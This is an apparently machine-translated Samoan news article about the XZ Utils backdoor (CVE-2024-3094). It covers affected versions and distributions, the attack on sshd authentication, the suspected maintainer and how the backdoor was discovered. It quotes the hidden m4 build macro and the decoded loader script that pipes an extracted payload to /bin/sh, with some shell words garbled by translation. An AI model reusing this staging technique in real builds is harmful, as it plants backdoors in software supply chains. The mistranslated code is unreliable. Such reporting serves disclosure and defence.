I totonu o le XZ Utils package, lea e aofia ai le faletusi liblzma ma mea aoga mo le galue i faʻamaumauga faʻapipiʻi i le ".xz" format, o se backdoor (CVE-2024-3094) ua faʻaalia e mafai ai ona faʻaogaina ma faʻaleleia faʻamaumauga o loʻo faʻagasolo e talosaga e fesoʻotaʻi. ma le faletusi liblzma. O le sini autu o le pito i tua o le OpenSSH server, lea i nisi o tufatufaga o loʻo faʻapipiʻiina ma le faletusi libsystemd, lea e faʻaaogaina ai le liblzma. Faʻafesoʻotaʻi sshd ma se faletusi vaivai e mafai ai e tagata osofaʻi ona maua le avanoa i le SSH server e aunoa ma le faʻamaonia.
O le pito i tua sa i ai i le faʻasalalauga aloaia 5.6.0 ma le 5.6.1, lomia ia Fepuari 24 ma Mati 9, lea na mafai ona oʻo atu i nisi o tufatufaga ma faleoloa, mo se faʻataʻitaʻiga, Gentoo, Arch Linux, Debian sid / unstable, Fedora Rawhide ma 40-beta, openSUSE falegaosimea ma tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. O tagata uma e fa'aoga le xz 5.6.0 ma le 5.6.1 fa'asalalauga e fautuaina ina ia toe fa'anatinati i tua i le version 5.4.6.
Faatasi ai ma mea e faʻaitiitia ai le faʻafitauli, e mafai ona maitauina o le lomiga o le liblzma faʻatasi ai ma le pito i tua e leʻi mafai ona avea ma se vaega o faʻamaumauga faʻamautu o tufatufaga tetele, ae na aʻafia ai openSUSE Tumbleweed ma Fedora 40-beta. Arch Linux ma Gentoo na faʻaaogaina se faʻafitauli vaivai o le zx, ae e le mafai ona faʻafefe i le osofaʻiga aua latou te le faʻaogaina le patch systemd-notify i openssh, lea e mafua ai ona fesoʻotaʻi le sshd i liblzma. O le pito i tua e aafia ai faiga x86_64 faʻavae i luga o le fatu Linux ma le Glibc C faletusi.
O le backdoor activation code na natia i m4 macros mai le build-to-host.m4 faila e faʻaaogaina e le automake toolkit pe a fau. I le taimi o le faʻapotopotoga, i le taimi o le faʻatinoina o galuega faʻalavelave faʻapitoa e faʻavae i luga o faʻamaumauga (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), faʻaaogaina e suʻe ai le saʻo o le gaioiga, na faia ai se faila faila ma faʻailoga leaga, lea na aofia i totonu. le faletusi liblzma ma suia le faagaoioiga logic nisi o ana galuega tauave. O le m4 macros e faʻagaoioia le faitotoa pito i tua sa aofia i totonu o tapolo faʻasaʻo, ae leʻi i totonu o le fale teu oloa Git. I le taimi lava e tasi, sa i ai faʻamaumauga o suʻega leaga i totonu o le fale teu oloa, i.e. o le tagata na fa'atinoina le faitoto'a pito i tua na maua le avanoa i le faleteuoloa ma le fa'agasologa o le fa'asa'olotoina.
A faʻaaoga le liblzma i talosaga, e mafai ona faʻaogaina suiga leaga e faʻalavelave pe suia faʻamatalaga, pe afaina ai le faʻaogaina o le sshd. Aemaise lava, o le tulafono leaga na faʻaseseina le RSA_public_decrypt galuega e faʻafefe ai le faʻamaoniga sshd. O le pito i tua na aofia ai le puipuiga mai le suʻesuʻeina ma e leʻi faʻaalia o ia lava pe a seti le LANG ma TERM suiga o le siosiomaga (ie, pe a faʻagasolo le faagasologa i totonu o le laina) ma le LD_DEBUG ma le LD_PROFILE suiga o le siosiomaga e leʻi setiina, ma na faʻagaoioia foi pe a faʻatinoina le /usr/sbin/sshd executable faila . O le faitotoa pito i tua sa i ai foi se auala e iloa ai le faʻataunuʻuina i totonu o siosiomaga debug.
Aemaise lava, o le faila m4/build-to-host.m4 na faʻaaogaina gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
I le fausiaina muamua, o le grep operation na maua ai faila suʻega/files/bad-3-corrupt_lzma2.xz, lea, pe a tatalaina, faʻatupuina le tusitusiga: ####Talofa#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && alu ese 0 [ ! $(uname) = "Linux" ] && alu ese 0 [ ! $(uname) = "Linux" ] && alu ese 0 [ ! $(uname) = "Linux" ] && alu ese 0 [ ! $(uname) = "Linux" ] && alu ese 0 eval `grep ^srcdir= config.status` pe afai o le su'ega -f ../../config.status;ona eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((ulu -c +1024 >/dev/null) && ulu -c +2048 && (ulu -c +1024 >/dev/ null) && ulu -c +2048 && (ulu -c +1024 >>dev/null) && ulu -c +2048 && (ulu -c +1024 >>dev/null) && ulu -c +2048 && (ulu - c +1024 >/dev/null) && ulu -c +2048 && (ulu -c +1024 >>dev/null) && ulu -c +2048 && (ulu -c +1024 >/dev/null) && ulu - c +2048 && (ulu -c +1024 >/dev/null) && ulu -c +2048 && (ulu -c +1024 >>dev/null) && ulu -c +2048 && (ulu -c +1024 >/ dev/null) && ulu -c +2048 && (ulu -c +1024 >>dev/null) && ulu -c +2048 && (ulu -c +1024 >>dev/null) && ulu -c +2048 && ( ulu -c +1024 >/dev/null) && ulu -c +2048 && (ulu -c +1024 >>dev/null) && ulu -c +2048 && (ulu -c +1024 >/dev/null) && ulu -c +2048 && (ulu -c +1024 >/dev/null) && ulu -c +2048 && (ulu -c +1024 >> dev/null) && ulu -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####
O le auala na mafai ai e le au osofaʻi ona maua le avanoa i atinaʻe o le xz poloketi e leʻi faʻamalamalamaina atoatoa. E le o manino foi pe toafia tagata faʻaoga ma poloketi na faʻafefe ona o le pito i tua. O le tusitala o loʻo tuʻuaʻia o le backdoor (JiaT75 - Jia Tan), o le na tuʻuina atu faʻamaumauga ma le faʻailoga leaga i totonu o le fale teu oloa, na fesoʻotaʻi ma le au atinaʻe Fedora ma auina atu talosaga toso ia Debian e fesoʻotaʻi ma le suiga o tufatufaga i le xz 5.6.0 lala, ma e leʻi faia. fa'aoso masalosaloga, talu ai sa ia auai i le xz o lo'o fa'atupuina mo le lua tausaga talu ai ma o le lona lua lea o le atina'e e tusa ai ma le aofa'i o suiga na faia. I le faaopoopo atu i le poloketi xz, na auai foi le tusitala o le backdoor i le atinaʻeina o xz-java ma xz-embedded packages. E le gata i lea, o Jia Tan i nai aso talu ai na aofia ai i le numera o tagata tausia o le XZ Embedded project na faʻaaogaina i le fatu Linux.
O le suiga leaga na maua ina ua maeʻa suʻesuʻeina le tele o le faʻaaogaina o le CPU ma mea sese na faia e valgrind pe a faʻafesoʻotaʻi e ala i le ssh i Debian sid-based systems. E maitauina o le xz 5.6.1 faʻasalalauga na aofia ai suiga na saunia e le tusitala o loʻo tuʻuaʻia o le backdoor i le tali atu i faitioga e uiga i le faʻagesegese o le sshd ma faʻalavelave faʻafuaseʻi na tulaʻi mai ina ua maeʻa le faʻaleleia i le zx 5.6.0 version ma le backdoor. E le gata i lea, o le tausaga talu ai na faia ai e Jia Tan ni suiga e le fetaui ma le "-fsanitize=address" faiga su'esu'e, ma mafua ai ona le atoatoa i le taimi o su'ega fuzz.
puna: opennet.ru